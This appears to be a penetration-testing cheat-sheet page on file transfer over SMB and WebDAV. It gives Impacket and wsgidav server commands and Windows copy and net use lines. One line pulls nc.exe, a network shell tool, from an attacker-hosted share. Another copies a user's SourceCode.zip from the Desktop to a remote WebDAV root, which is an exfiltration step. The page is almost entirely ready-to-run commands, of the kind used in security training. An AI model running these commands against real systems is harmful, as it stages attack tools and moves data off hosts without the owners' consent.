SMB Download/Upload

Download

Running SMB server on Linux

sudo impacket-smbserver share -smb2support /tmp/smbshare

With username and password if unauthenticated guest access is blocked:

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

On Windows use copy without authentication:

copy \\192.168.220.133\share\nc.exe

Mount the SMB server with authentication:

net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exe

Upload

SMB over HTTP with wsgidav and cheroot on Linux:

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

On Windows:

dir \\192.168.49.128\DavWWWRoot
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\

Last updated